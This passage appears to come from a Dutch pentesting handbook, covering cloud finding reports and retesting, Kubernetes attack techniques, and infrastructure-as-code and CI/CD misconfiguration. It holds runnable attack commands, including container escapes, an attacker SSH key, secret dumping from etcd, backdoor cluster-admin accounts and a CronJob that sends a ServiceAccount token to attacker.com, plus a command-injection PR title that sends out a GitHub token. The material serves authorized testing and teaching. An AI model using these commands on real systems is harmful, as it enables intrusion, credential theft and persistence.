  temporary credentials via AWS SSO (Identity Center)
- Implementeer just-in-time access via AWS SSO permission sets

Service Control Policies (AWS) / Conditional Access (Azure) / Organization Policies (GCP)

De krachtigste verdedigingsmechanismen in de cloud zijn de governance-tools op het hoogste niveau:

// AWS: SCP die bepaalde acties blokkeert voor alle accounts in de organization
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyCloudTrailDisable",
      "Effect": "Deny",
      "Action": [
        "cloudtrail:StopLogging",
        "cloudtrail:DeleteTrail"
      ],
      "Resource": "*"
    },
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]
}
// Azure: Conditional Access policy (conceptueel)
{
  "displayName": "Require MFA for all admin roles",
  "conditions": {
    "users": {
      "includeRoles": [
        "Global Administrator",
        "Security Administrator",
        "Exchange Administrator"
      ]
    },
    "applications": {
      "includeApplications": ["All"]
    }
  },
  "grantControls": {
    "builtInControls": ["mfa"]
  }
}

VPC/NSG-aanbevelingen

Netwerkconfiguratie in de cloud is minder complex dan on-premise (geen VLAN-trunking, geen spanning tree), maar de principes zijn hetzelfde: minimale toegang, segmentatie, en monitoring.

# AWS: Security group audit -- vind overly permissive rules
aws ec2 describe-security-groups \
  --query "SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, '0.0.0.0/0')]].[GroupId,GroupName]" \
  --output table

# Azure: NSG audit -- vind regels met Any-source
az network nsg list --query "[].{Name:name, Rules:securityRules[?sourceAddressPrefix=='*']}" -o table

Aanbevelingen voor netwerkconfiguratie:

Prioritering van aanbevelingen

Gebruik een tijdsgebonden prioritering die past bij de urgentie van de bevinding:

Prioriteit Tijdslijn Criteria Voorbeeld
P1 - Onmiddellijk 48 uur Actieve data-lekkage, publieke credential exposure Publieke S3 met klantdata
P2 - Kort termijn 2 weken Exploitable misconfiguratie met hoge impact Overprivileged IAM
P3 - Middellang 1-3 maanden Configuratie-verbetering met matige impact Ontbrekende encryptie at rest
P4 - Lang termijn 3-6 maanden Architectuur-verbetering, governance Multi-account strategie
P5 - Advies Volgende review Best practice-aanbevelingen, informational Tag-strategie

IB Tip: Gebruik het aanbeveling-veld in IB finding templates voor gestructureerde remediation-stappen. De prioriteit kan worden afgeleid uit de CVSS-score: Critical (P1), High (P2), Medium (P3), Low (P4), Informational (P5).

12.8 Het Rapport Genereren met IB

Findings invoeren

De workflow voor het invoeren van cloud-findings in IB is identiek aan die in de voorgaande delen, met enkele cloud-specifieke aandachtspunten:

1. Selecteer of maak een template

Gebruik de cloud-specifieke finding templates (publieke storage, overprivileged IAM, ontbrekende logging, etc.) of maak een custom template aan voor bevindingen die niet in de standaard set zitten.

2. Vul het finding-formulier in

3. Upload evidence

Screenshots van de console, CLI-output als tekstbestanden, JSON-exports van policies, ScoutSuite-fragmenten.

# Evidence uploaden via curl
curl -X POST -F "file=@s3_public_access.png" \
  http://127.0.0.1:5000/api/findings/1/evidence

curl -X POST -F "file=@iam_policy_analysis.json" \
  http://127.0.0.1:5000/api/findings/1/evidence

curl -X POST -F "file=@scoutsuite_s3_danger.png" \
  http://127.0.0.1:5000/api/findings/1/evidence

Cloud-templates

De standaard finding templates in IB’s standard_findings.json bevatten web-georiënteerde templates. Voor cloud-pentests breid je deze uit met cloud-specifieke templates. Een cloud finding template bevat dezelfde velden als een standaard template:

{
  "standard_code": "CLOUD-IAM-001",
  "titel": "Overprivileged IAM Identity",
  "type": "Cloud - Identity & Access Management",
  "cwe": "CWE-250",
  "owasp": "A01:2021 - Broken Access Control",
  "mitre_attack": "T1078.004",
  "cvss_vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
  "basescore": "9.3",
  "beschrijving_nl": "Een of meer IAM-identiteiten (users, roles, of service principals) in de cloud-omgeving beschikken over meer rechten dan noodzakelijk voor hun functie. Dit maakt het mogelijk dat een aanvaller die deze identiteit compromitteert directe toegang heeft tot alle resources in het account, inclusief gevoelige data en configuratie-instellingen.",
  "impact_nl": "Een aanvaller die een overprivileged identiteit compromitteert kan direct alle data lezen, wijzigen of verwijderen binnen de scope van die rechten. Bij een wildcard policy (Action: *, Resource: *) omvat dit het volledige cloud-account inclusief IAM-configuratie, waardoor persistentie en verdere escalatie triviaal worden.",
  "aanbeveling_nl": "Implementeer principle of least privilege: beperk IAM policies tot de minimaal benodigde acties en resources. Gebruik AWS IAM Access Analyzer, Azure PIM, of GCP IAM Recommender om ongebruikte rechten te identificeren. Implementeer Permission Boundaries (AWS), Conditional Access (Azure), of Organization Policy Constraints (GCP) als bovengrenzen."
}

LaTeX-generatie

IB’s rapportgenerator verwerkt cloud-findings via dezelfde pipeline als alle andere findings: LaTeX-generatie, HTML-conversie, pandoc naar Markdown. De cloud-specifieke elementen (ARN’s, JSON-policies, compliance-referenties) worden opgenomen via het uitwerkingsveld.

Voorbeeld LaTeX-uitwerking voor een cloud-finding:

De S3 bucket \texttt{corp-backup-prod} (ARN: \texttt{arn:aws:s3:::corp-backup-prod})
is publiek toegankelijk. Block Public Access is volledig uitgeschakeld en de bucket
policy staat leestoegang toe voor alle principals.

\begin{lstlisting}[language=bash]
# Verificatie van publieke toegang
aws s3 ls s3://corp-backup-prod --no-sign-request
# Output: 2026-02-20 14:32:01 klantdata_2026.csv
# Output: 2026-02-20 14:32:15 financieel_rapport_q4.xlsx
\end{lstlisting}

\plaatje{s3_public_access}{S3 bucket met Block Public Access uitgeschakeld}

\subsubsection{Compliance impact}
\begin{itemize}
\item CIS AWS Foundations Benchmark v3.0: Control 2.1.1 -- FAIL
\item SOC 2 CC6.6 -- Non-conformity
\item AVG Artikel 32 -- Onvoldoende technische maatregelen
\end{itemize}

Navigeer naar /dashboard/findings en klik op Generate report. IB genereert drie bestanden:

rapport/
  findings_nl.tex    # Ruwe LaTeX
  tex.html           # HTML-tussenvorm
  tex.md             # Markdown-eindresultaat

Converteer naar PDF:

cd rapport/
pandoc tex.md -o cloud_pentest_rapport.pdf \
  --pdf-engine=xelatex \
  --template=eisvogel \
  -V geometry:margin=2.5cm \
  -V colorlinks=true

IB Tip: Voeg de ScoutSuite HTML-output toe als bijlage aan het rapport. Dit geeft de opdrachtgever een gedetailleerd overzicht van alle gecontroleerde configuratie-items, inclusief de items die correct zijn geconfigureerd. Het geeft completheid aan het rapport zonder het hoofddocument op te blazen.

12.9 Na het rapport

Debriefing

De debrief is crucialer bij cloud-pentests dan bij on-premise pentests, om een simpele reden: cloud-misconfiguraties zijn vaak sneller te fixen, maar de organisatie moet begrijpen waarom iets mis is voordat ze het fixen. Anders fixen ze het symptoom en niet de oorzaak, en staat dezelfde misconfiguratie er volgende week weer – aangemaakt door een deployment pipeline die niet is aangepast.

Structureer de debriefing in twee sessies:

Sessie 1: Management (30 minuten) - De drie tot vijf kernbevindingen in business-taal - De overkoepelende risico-beoordeling - Strategische aanbevelingen - Compliance-implicaties - Budget en tijdsinschatting voor remediation

Sessie 2: Technisch team (60 minuten) - Gedetailleerde doorloop van alle bevindingen - Live demonstratie van exploitatie (in het lab, niet in productie) - Specifieke remediation-stappen met CLI-commando’s en policy-voorbeelden - Q&A over implementatie

De splitsing is bewust. Een management-sessie waar een engineer live een IAM-escalatie demonstreert bereikt precies het tegenovergestelde van wat je wilt: het management voelt zich geintimideerd en incompetent, en het technische team voelt zich tentoongesteld. Gescheiden sessies geven elk publiek wat het nodig heeft.

Retesting

Plan de retest vier tot zes weken na oplevering van het rapport. Cloud-retesting is efficienter dan on-premise retesting, omdat je veel controles kunt automatiseren:

# Retest: Is de S3 bucket nog steeds publiek?
aws s3 ls s3://corp-backup-prod --no-sign-request 2>&1
# Verwachte output na fix: An error occurred (AccessDenied)

# Retest: Is de overprivileged policy aangepast?
aws iam get-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/LegacyAdminPolicy \
  --version-id $(aws iam get-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/LegacyAdminPolicy --query 'Policy.DefaultVersionId' --output text)

# Retest: Is CloudTrail nu ingeschakeld in alle regio's?
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
  echo -n "$region: "
  aws cloudtrail describe-trails --region $region --query 'trailList[].Name' --output text
done

# Retest: Is MFA nu afgedwongen?
aws iam list-users --query 'Users[].UserName' --output text | \
  while read user; do
    mfa=$(aws iam list-mfa-devices --user-name "$user" --query 'MFADevices[].SerialNumber' --output text)
    if [ -z "$mfa" ]; then
      echo "FAIL: $user -- geen MFA"
    else
      echo "PASS: $user -- MFA actief"
    fi
  done

Documenteer de retest-resultaten in een kort rapport met status per bevinding:

ID Finding Status Toelichting
C-01 Publieke S3 bucket Opgelost Block Public Access ingeschakeld
H-01 Overprivileged IAM user Gedeeltelijk opgelost Policy aangepast, maar Access Key niet geroteerd
H-02 Ontbrekende MFA Opgelost MFA afgedwongen via Organization SCP
H-03 EC2 instance role Niet opgelost Geen actie ondernomen
H-04 CloudTrail logging Opgelost CloudTrail ingeschakeld in alle regio’s

IB Tip: Importeer de findings uit het originele project in een nieuw IB-project voor de retest. Gebruik de export/import-functionaliteit (/api/findings/export en /dashboard/findings/import) om de originele findings als referentie te laden.

Continuous Monitoring Advies

Een pentest is een momentopname. De cloud verandert continu – resources worden aangemaakt, configuraties worden gewijzigd, nieuwe gebruikers worden toegevoegd. Het advies dat je geeft over continuous monitoring is vaak waardevoller dan de bevindingen zelf.

Aanbevolen monitoring-stack per provider:

AWS: - AWS Config Rules voor continue configuratie-evaluatie - AWS Security Hub voor geaggregeerde bevindingen van GuardDuty, Inspector, en Config - CloudTrail + CloudWatch Alarms voor verdachte API-calls - AWS IAM Access Analyzer voor ongebruikte rechten en publieke/cross-account toegang

Azure: - Microsoft Defender for Cloud met Secure Score tracking - Azure Policy voor compliance-afdwinging - Azure Activity Log + Log Analytics voor monitoring - Entra ID Identity Protection voor risico-gebaseerde detectie

GCP: - Security Command Center (SCC) voor gecentraliseerde bevindingen - Organization Policies voor preventieve controles - Cloud Audit Logs + Cloud Monitoring voor detectie - IAM Recommender voor least privilege-suggesties

# AWS: Snel overzicht van Security Hub findings
aws securityhub get-findings \
  --filters '{"SeverityLabel": [{"Value": "CRITICAL", "Comparison": "EQUALS"}]}' \
  --query 'Findings[].{Title:Title, Resource:Resources[0].Id}' \
  --output table

# Azure: Defender for Cloud secure score
az security secure-scores list --query "[].{Name:name, Score:properties.score.current}" -o table

# GCP: Security Command Center findings
gcloud scc findings list ORGANIZATION_ID \
  --filter="severity=\"CRITICAL\"" \
  --format="table(finding.category, finding.resourceName)"

Het ultieme doel is dat de organisatie niet meer afhankelijk is van jaarlijkse pentests om hun beveiligingsniveau te kennen. Continuous monitoring maakt het mogelijk om misconfiguraties te detecteren en te corrigeren voordat een aanvaller ze vindt – of voordat de volgende pentester ze in zijn rapport zet.

Maar laten we eerlijk zijn: de meeste organisaties zullen die monitoring-stack opstellen, er drie maanden naar kijken, en hem vervolgens vergeten. De alerts komen nog steeds binnen, maar niemand leest ze meer. Het dashboard staat open in een browsertabblad dat langzaam naar achteren wordt geschoven door productievere tabbladen. En volgend jaar komt dezelfde pentester, vindt dezelfde dingen, schrijft hetzelfde rapport, en de cyclus herhaalt zich.

Het is het equivalent van een rookmelder die al maanden piept omdat de batterij leeg is, maar die niemand vervangt omdat het geluid inmiddels deel uitmaakt van de achtergrondgeluiden van het kantoor.

En toch blijven we rapporten schrijven. Omdat het alternatief – niet testen, niet rapporteren, niet adviseren – erger is. Omdat elke keer dat een rapport wel wordt gelezen, wel wordt geimplementeerd, en wel tot een betere configuratie leidt, het de moeite waard is geweest.

Schrijf het rapport alsof het ertoe doet. Want soms doet het dat.

Referentietabel Hoofdstuk 12

Onderwerp Tool / Framework IB Feature
Cloud findings management IB Finding Editor /dashboard/findings
Cloud finding templates Standaard + custom templates /dashboard/findings/templates/seed
CVSS 4.0 cloud scoring Interactieve calculator Ingebouwd in Finding Editor
Evidence management Upload + export /api/findings/<id>/evidence
Rapport generatie pandoc/LaTeX pipeline /dashboard/findings/rapport
ScoutSuite scanning Multi-cloud auditing Task Runner
Prowler scanning CIS Benchmark compliance Task Runner
CIS Benchmarks AWS v3.0, Azure v2.1, GCP v2.0 Compliance mapping in findings
SOC 2 mapping Trust Service Criteria Compliance mapping in findings
ISO 27001 / NEN 7510 Annex A controls Compliance mapping in findings
Findings export JSON export + evidence ZIP /api/findings/export
Findings import JSON import /dashboard/findings/import
Notes Dagelijkse notities + rapport toggle /dashboard/notes
Retest workflow Import + re-evaluate Export/import findings
MITRE ATT&CK Technique Beschrijving Rapportage-relevant
T1078.004 Valid Accounts: Cloud Accounts IAM-findings
T1552.005 Unsecured Credentials: Cloud Instance Metadata Metadata-findings
T1552.001 Unsecured Credentials: Credentials in Files Hardcoded credentials
T1619 Cloud Storage Object Discovery Storage-findings
T1580 Cloud Infrastructure Discovery Reconnaissance-documentatie
T1562.008 Impair Defenses: Disable Cloud Logs Logging-findings
T1190 Exploit Public-Facing Application SSRF-to-cloud findings
T1537 Transfer Data to Cloud Account Exfiltratie-findings
T1578 Modify Cloud Compute Infrastructure Resource manipulation
T1098.003 Account Manipulation: Additional Cloud Roles Persistence-findings

Kubernetes Security Deep Dive

Kubernetes Security Deep Dive

De orkestrator die alles bestuurt

Kubernetes — K8s voor de mensen die te lui zijn om tien letters te typen, wat gezien de complexiteit van het platform een ironische vorm van efficiëntie is — is de de facto standaard voor container-orchestratie. Het beheert waar je containers draaien, hoe ze communiceren, hoe ze schalen en hoe ze falen. Het is een besturingssysteem voor je besturingssystemen, wat klinkt als inception en aanvoelt als inception en — als je het voor het eerst probeert te beveiligen — je net zoveel hoofdpijn geeft als inception.

Vanuit pentesting-perspectief is Kubernetes een goudmijn. Het is complex, het is flexibel, het heeft tientallen configuratie-opties waarvan er minstens de helft verkeerd wordt ingesteld, en het heeft een API-server die — als je er bij kunt — je volledige controle geeft over elke container in het cluster.

Architectuur in twee minuten

Een Kubernetes-cluster bestaat uit:

Alles communiceert via de API-server. Alles wordt geauthenticeerd via tokens, certificaten of OIDC. Alles wordt geautoriseerd via RBAC (Role-Based Access Control). Tenminste, dat is het plan. De realiteit is dat “alles” in de vorige zinnen eerder “het meeste” betekent, en dat de uitzonderingen precies de dingen zijn die je als pentester zoekt.

Verkenning van buiten het cluster

# API server detectie
nmap -sV -p 6443,8443,443,8080,10250,10255,2379 target

# Ongeauthenticeerde API-toegang
curl -k https://target:6443/api/v1/namespaces
curl -k https://target:6443/version

# Kubelet API (poort 10250)
curl -k https://node:10250/pods
# Als dit een JSON-lijst van pods retourneert: jackpot

# Kubelet read-only (poort 10255, deprecated maar soms actief)
curl http://node:10255/pods

# etcd (poort 2379) — de database met alle secrets
curl -k https://etcd:2379/version
etcdctl --endpoints=https://etcd:2379 --insecure-skip-tls-verify get / --prefix --keys-only

Aanvallen vanuit een pod

Het meest realistische scenario: je hebt een webapplicatie gecompromitteerd die in een Kubernetes-pod draait. Je hebt een shell. Nu wil je uitbreken.

ServiceAccount token misbruiken

# Elke pod krijgt automatisch een ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Gebruik het token voor API-calls
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Wat mag je?
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"secrets"}}}'

# Of met kubectl (als je het kunt installeren in de pod)
kubectl auth can-i --list --token=$TOKEN

# Secrets lezen (als je rechten hebt)
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/secrets

# Een nieuwe pod starten (als je create pods rechten hebt)
# Maak een pod met hostPID, hostNetwork of een volume mount naar de host

Pod Escape technieken

Een “container escape” is het uitbreken uit de container naar het onderliggende hostsysteem. Er zijn meerdere methoden, afhankelijk van hoe de container is geconfigureerd:

Escape 1: Privileged container

# Check of je in een privileged container zit
cat /proc/1/status | grep Cap
# CapEff: 000001ffffffffff = alle capabilities = privileged

# Mount het host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Lees host-bestanden
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/authorized_keys

# Schrijf een SSH key
echo "ssh-rsa AAAA... attacker" >> /mnt/host/root/.ssh/authorized_keys

# SSH naar de host
ssh -i id_rsa root@NODE_IP

Escape 2: Docker socket mount

# Check of de Docker socket gemount is
ls -la /var/run/docker.sock

# Zo ja: je kunt de Docker daemon aansturen
# Installeer Docker CLI of gebruik curl
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# Start een nieuwe container met volledige host-toegang
curl --unix-socket /var/run/docker.sock \
  -X POST -H "Content-Type: application/json" \
  http://localhost/containers/create \
  -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

Escape 3: HostPID namespace

# Als de pod is gestart met hostPID: true
# Je deelt het PID namespace met de host
ps aux    # Je ziet alle processen op de host

# nsenter: spring naar het host namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Je bent nu root op de host

Escape 4: Release agent (cgroups v1)

# Werkt in niet-privileged containers met bepaalde capabilities
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs"
cat /output

RBAC Misconfiguratie

# Wie heeft cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

# ServiceAccounts met te veel rechten
kubectl get rolebindings,clusterrolebindings --all-namespaces -o json | \
  jq '.items[] | select(.subjects != null) | {name: .metadata.name, ns: .metadata.namespace, role: .roleRef.name, subjects: [.subjects[] | .name]}'

# Wildcard permissions (gevaarlijk)
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]?.verbs[]? == "*") | .metadata.name'

etcd: de database met alle geheimen

# Als etcd onbeschermd is (geen TLS, geen auth)
etcdctl --endpoints=http://etcd:2379 get / --prefix --keys-only | head -50

# Secrets lezen (base64-gecodeerd)
etcdctl --endpoints=http://etcd:2379 get /registry/secrets/default/admin-token
# Decodeer: echo "base64_data" | base64 -d

# Alle secrets dumpen
etcdctl --endpoints=http://etcd:2379 get /registry/secrets --prefix

Supply Chain: image security

# Scan images op bekende kwetsbaarheden
trivy image nginx:latest
grype nginx:latest

# Check of images gesigneerd zijn
cosign verify nginx:latest

# Zoek secrets in container images
# Layers uitpakken en doorzoeken
docker save target-image:latest | tar -xf -
find . -name "*.tar" -exec tar -tf {} \; | grep -i "password\|secret\|key\|token"

# Dive: interactief image layers analyseren
dive target-image:latest

Kubernetes Pentest Checklist

TestAanvalImpact
Anonieme API-toegangcurl -k API:6443/apiCluster-wide info disclosure
Kubelet API opencurl -k node:10250/podsPod listing, command exec
etcd onbeschermdetcdctl get /registry/secretsAlle secrets lezen
ServiceAccount overprivilegedkubectl auth can-i --listPrivilege escalation
Privileged podmount /dev/sda1 /mntFull node compromise
Docker socket mountdocker run -v /:/hostFull node compromise
HostPID/HostNetworknsenter --target 1Host namespace breakout
RBAC wildcardsCluster-admin voor SAFull cluster compromise
Image vulnerabilitiestrivy/grype scanKnown CVEs in productie

Kubernetes Network Policies en Service Mesh

Standaard kan elke pod in een Kubernetes-cluster communiceren met elke andere pod. Dat is handig voor ontwikkelaars, maar het is een nachtmerrie voor beveiliging. Het betekent dat als je één pod compromitteert, je direct kunt communiceren met de database-pod, de admin-service, de monitoring-pod, en alles daartussenin.

Network Policy testen

# Vanuit een gecompromitteerde pod: scan het interne netwerk
# Installeer nmap of gebruik bash /dev/tcp
for ip in $(seq 1 254); do
  timeout 1 bash -c "echo > /dev/tcp/10.0.0.$ip/80" 2>/dev/null && echo "10.0.0.$ip:80 OPEN"
done

# Kubernetes services ontdekken via DNS
nslookup kubernetes.default.svc.cluster.local
nslookup *.default.svc.cluster.local

# Alle services in het cluster vinden
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/services" | jq '.items[].metadata | {name, namespace}'

# Test of je de database kunt bereiken (standaard: ja)
curl -s telnet://db-service.production:5432

# Check of er NetworkPolicies bestaan
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/apis/networking.k8s.io/v1/networkpolicies" | jq '.items | length'
# 0 = geen policies = alles is open

Service Mesh (Istio/Linkerd) omzeilen

Service meshes zoals Istio voegen een sidecar-proxy toe aan elke pod die mTLS afdwingt. Maar de sidecar luistert op localhost — als je al in de pod zit, kun je direct met de applicatie communiceren zonder de sidecar:

# De applicatie luistert op localhost:8080
# De sidecar (Envoy) proxied verkeer op poort 15001
# Maar vanuit de pod kun je direct naar localhost:8080 gaan
curl localhost:8080/admin    # Omzeilt de sidecar en alle policies

Secrets Management in Kubernetes

Kubernetes Secrets zijn Base64-gecodeerd. Niet versleuteld — gecodeerd. Het verschil is als het verschil tussen een kluis en een doorzichtige plastic zak: de zak verbergt niets, hij verandert alleen de vorm van de inhoud.

# Secrets lezen (als je de rechten hebt)
kubectl get secrets -A -o json | jq '.items[] | {name: .metadata.name, ns: .metadata.namespace, keys: (.data | keys)}'

# Alle secrets decoderen
kubectl get secrets -n default -o json | jq '.items[].data | to_entries[] | {key: .key, value: (.value | @base64d)}'

# Zoek specifieke secrets
kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | .value' | \
  while read val; do echo "$val" | base64 -d 2>/dev/null; echo; done | \
  grep -i "password\|token\|key\|secret"

# Secrets uit environment variables van pods
kubectl get pods -A -o json | jq '.items[] | {pod: .metadata.name, env: [.spec.containers[].env[]? | select(.valueFrom.secretKeyRef != null)]}'

# etcd: secrets in plaintext
# Als etcd niet versleuteld is (encryption at rest):
etcdctl get /registry/secrets/default/db-credentials --print-value-only

Persistentie in Kubernetes

Na een succesvolle compromise wil je toegang behouden. In Kubernetes heb je meerdere opties:

# 1. Backdoor ServiceAccount aanmaken
kubectl create serviceaccount backdoor -n kube-system
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor

# Token ophalen
kubectl -n kube-system create token backdoor

# 2. CronJob als backdoor
cat <<EOF | kubectl apply -f -
apiVersion: batch/v1
kind: CronJob
metadata:
  name: monitoring-sync
  namespace: kube-system
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: sync
            image: ubuntu
            command: ["/bin/bash", "-c", "curl https://attacker.com/beacon?token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"]
          restartPolicy: Never
EOF

# 3. MutatingAdmissionWebhook
# Inject een sidecar in elke nieuwe pod die wordt aangemaakt
# Dit geeft je automatisch een shell in elke toekomstige pod

# 4. Static pod op een node
# Als je shell-toegang hebt tot een node:
# Schrijf een pod manifest naar /etc/kubernetes/manifests/
# De kubelet start het automatisch

Real-world Kubernetes pentest scenario

Een typische Kubernetes-pentest begint niet met cluster-admin. Het begint met een webapplicatie die in een pod draait. Hier is het realistische pad:

1. Exploit een webapplicatie-kwetsbaarheid (SSRF, RCE, SQLi)
   ↓
2. Verkrijg een shell in de pod
   ↓
3. Lees het ServiceAccount token
   ↓
4. Ontdek wat het SA mag doen (kubectl auth can-i --list)
   ↓
5a. Als het SA secrets kan lezen: dump alle secrets
5b. Als het SA pods kan maken: maak een privileged pod
5c. Als het SA weinig rechten heeft: zoek andere SA's via secrets
   ↓
6. Escaleer naar cluster-admin via:
   - Overprivileged SA in kube-system
   - etcd direct access
   - Kubelet API exec
   - Node compromise via pod escape
   ↓
7. Bereik het doel: data exfiltratie, ransomware simulatie, of bewijs van impact

Infrastructure as Code Misconfiguratie

Infrastructure as Code Misconfiguratie

Code is de nieuwe infrastructuur

Er was een tijd dat je een server inrichtte door ernaar toe te lopen, er een schijf in te schuiven, een besturingssysteem te installeren via een CD-ROM (of, als je oud genoeg bent, een stapel diskettes), en vervolgens drie uur te besteden aan het handmatig configureren van alles. Die tijd is voorbij. Tegenwoordig beschrijf je je infrastructuur in code — Terraform, CloudFormation, Ansible, Pulumi — en een machine zet het voor je neer. Klik, klaar, klus geklaard.

Dit is objectief beter. Infrastructuur is nu versiebeheerd, herhaalbaar, reviewbaar en testbaar. Maar het heeft een keerzijde die pentesters bijzonder interessant vinden: als je infrastructuur code is, dan zijn je misconfiguraties ook code. En code staat in repositories. En repositories zijn doorzoekbaar.

Terraform: de sleutel tot het koninkrijk

State file: de schatkist

Terraform houdt de staat van je infrastructuur bij in een state file. Dit bestand bevat een complete snapshot van alles wat Terraform beheert — inclusief database-wachtwoorden, API-sleutels, SSH-keys en andere secrets. In plaintext. In JSON.

De state file is de gevoeligste bron in je hele infrastructuur, en het wordt regelmatig opgeslagen op plekken waar het niet hoort:

# Zoek naar Terraform state files op S3
aws s3 ls s3://company-terraform/ --recursive | grep tfstate
aws s3 cp s3://company-terraform/prod/terraform.tfstate .

# Zoek in Azure Blob Storage
az storage blob list --container-name terraform --account-name companystore

# Zoek in GCS
gsutil ls gs://company-terraform/**/*.tfstate

# Lokale state files in git repositories
find . -name "*.tfstate" -o -name "*.tfstate.backup"
# Als iemand per ongeluk terraform.tfstate heeft gecommit:
git log --all --full-history -- "*.tfstate"

# Secrets uit state extraheren
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_iam_access_key") | .instances[].attributes'
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes | {address, username, password}'
cat terraform.tfstate | jq '.resources[] | select(.type=="tls_private_key") | .instances[].attributes.private_key_pem'

Veelvoorkomende Terraform misconfiguraties

# ===== FOUT: S3 bucket publiek =====
resource "aws_s3_bucket" "data" {
  bucket = "company-sensitive-data"
  acl    = "public-read"     # <-- Iedereen op internet kan lezen
}

# ===== FOUT: Security group open naar internet =====
resource "aws_security_group" "db" {
  ingress {
    from_port   = 3306
    to_port     = 3306
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]   # <-- MySQL open naar de hele wereld
  }
}

# ===== FOUT: Hardcoded credentials =====
provider "aws" {
  access_key = "AKIAIOSFODNN7EXAMPLE"
  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}

# ===== FOUT: Onversleutelde database =====
resource "aws_db_instance" "production" {
  storage_encrypted = false      # <-- Data at rest niet versleuteld
}

# ===== FOUT: Geen logging =====
resource "aws_s3_bucket" "logs" {
  # Geen server_access_logging geconfigureerd
  # Geen versioning
  # Geen lifecycle policy
}

Terraform scanning tools

# tfsec: populairste Terraform scanner
tfsec /path/to/terraform/
# Output: lijst van misconfiguraties met severity en remediatie

# checkov: multi-framework scanner (Terraform, CloudFormation, Kubernetes, Docker)
checkov -d /path/to/terraform/

# terrascan: policy-as-code scanner
terrascan scan -d /path/to/terraform/

# tflint: Terraform linter (meer focused op best practices dan security)
tflint --init
tflint

CI/CD Pipeline Security

CI/CD pipelines zijn de nieuwe aanvalsoppervlakken. Ze hebben toegang tot productie-omgevingen, ze voeren code uit, en ze bevatten secrets. Als je een pipeline compromitteert, heb je effectief code execution in productie.

GitHub Actions

# .github/workflows/deploy.yml
# FOUT: Secret in workflow file
env:
  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG

# FOUT: Pull request trigger met write permissions
on:
  pull_request_target:    # Gevaarlijk: voert workflow uit in context van base repo
    types: [opened]

# FOUT: Onveilige command injection
- run: echo "PR title: ${{ github.event.pull_request.title }}"
  # Als de PR titel `"; curl attacker.com/steal?token=$GITHUB_TOKEN #` is:
  # command injection!

GitLab CI

# .gitlab-ci.yml
# FOUT: Secret zichtbaar in job logs
script:
  - echo $SECRET_TOKEN          # Zichtbaar in CI output
  - curl -H "Token: $SECRET"    # Zichtbaar in CI output

# FOUT: Onbeschermde variabelen
# GitLab CI variabelen zonder "Protected" en "Masked" zijn leesbaar
# door iedereen die een MR kan maken

Jenkins

# Jenkins Script Console (Groovy RCE)
# /script — als je hier bij kunt, heb je RCE
println "whoami".execute().text
println new File("/etc/passwd").text

# Credentials lezen via Script Console
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
  Jenkins.instance)
creds.each { println it.username + " : " + it.password }

Git Secrets Scanning

De meest voorkomende manier waarop secrets lekken is via git repositories. Een ontwikkelaar commit per ongeluk een API-key, realiseert zich de fout, verwijdert het bestand in de volgende commit, en denkt dat het probleem is opgelost. Maar git vergeet nooit. De key staat in de commit history, en tools als TruffleHog vinden hem in seconden.

# trufflehog: zoekt high-entropy strings en bekende secret-patronen
trufflehog git https://github.com/target/repo --only-verified

# gitleaks: regex-based secret scanner
gitleaks detect -v --source=/path/to/repo

# git-secrets: pre-commit hook die secrets blokkeert
git secrets --scan

# Handmatig zoeken
git log --all -p | grep -i "password\|secret\|api_key\|token\|AWS_ACCESS"
